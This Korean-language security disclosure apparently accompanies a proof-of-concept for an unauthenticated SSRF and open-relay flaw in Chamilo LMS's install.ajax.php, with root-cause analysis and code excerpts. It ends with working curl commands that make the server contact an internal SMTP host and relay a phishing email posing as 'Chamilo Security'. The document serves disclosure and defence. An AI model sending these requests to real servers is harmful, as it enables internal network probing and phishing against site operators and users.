
Chamilo LMS의 install.ajax.php를 통한 인증되지 않은 SSRF 및 오픈 이메일 릴레이 취약점에 대한 개념 증명 익스플로잇으로, 내부 네트워크 탐색과 피싱 이메일 발송이 가능합니다.
심각도: 높음 (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (인증 누락)
영향받는 버전: chamilo/chamilo-lms 2.0-RC.2
수정된 버전: 2.0-RC.3
보안 권고: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
공로: Romain Deperne
Chamilo LMS 2.0의 install.ajax.php는 완전히 설치된 인스턴스에서도 인증 없이 접근할 수 있습니다. 이 파일의 test_mailer 액션은 POST 데이터로부터 임의의 Symfony Mailer DSN과 대상을 받아들이므로, 인증되지 않은 공격자가 서버로 하여금 임의의 내부 호스트에 SMTP 연결을 시작하게 하고(SSRF) Chamilo 서버를 통해 이메일을 오픈 릴레이로 전송하게 할 수 있습니다.
여러 CVE가 누적되었음에도 AJAX 엔드포인트에 대한 심층 감사가 이루어지지 않았다는 점을 발견한 후 Chamilo LMS를 감사하게 되었습니다. 제 접근 방식은 public/main/inc/ajax/에 있는 모든 파일을 나열하고, 각 파일이 코드베이스 전반에 걸쳐 인증을 강제하는 포함문인 require_once __DIR__.'/../global.inc.php'로 시작하는지 확인하는 것이었습니다.
install.ajax.php가 예외였습니다. 이 파일은 Composer 오토로더만 포함합니다. 파일 이름만으로도 남겨진 설치 코드임을 짐작할 수 있었고, 그 안에서 test_mailer를 grep해 본 결과 POST 데이터로부터 원시 Symfony Mailer DSN 문자열을 받아 Transport::fromDsn()에 직접 전달한다는 것이 확인되었습니다.
이는 완전한 SSRF 원시 요소입니다. 인증되지 않은 공격자가 서버가 연결하는 프로토콜, 호스트, 포트를 제어할 수 있습니다. 구성한 전송 방식을 통해 실제 이메일을 전송한다는 사실은 이를 오픈 릴레이로도 만들어 줍니다. 완전히 설치된 인스턴스에서 세션 쿠키 없이 간단한 curl로 엔드포인트에 접근할 수 있음을 확인했습니다.
근본 원인은 아키텍처에 있습니다. Apache의 RewriteCond %{REQUEST_FILENAME} !-f가 존재하는 PHP 파일을 프런트 컨트롤러를 거치지 않고 PHP로 직접 전달하기 때문에, 이 파일은 Symfony의 보안 방화벽을 우회합니다.
파일: public/main/inc/ajax/install.ajax.php
이 파일은 설치 마법사를 위해 설계되었지만 설치 후에도 접근 가능한 상태로 남아 있습니다. 같은 디렉터리의 다른 모든 AJAX 엔드포인트와 달리 이 파일은 global.inc.php를 포함하지 않습니다. 즉, 인증도 권한 검사도 전혀 없습니다:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
test_mailer 액션(약 138행)은 공격자가 제어하는 POST 매개변수를 받습니다:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
적절히 보호된 모든 엔드포인트와 비교:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
이 파일은 Apache에 의해 직접 제공됩니다(RewriteCond %{REQUEST_FILENAME} !-f는 존재하는 PHP 파일을 그대로 통과시켜 Symfony의 보안 방화벽을 우회합니다). global.inc.php 포함이 없다는 것은 세션도, 인증도, 설치 완료 확인도 없음을 의미합니다.
전체 시연은 poc.py를 참조하세요.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"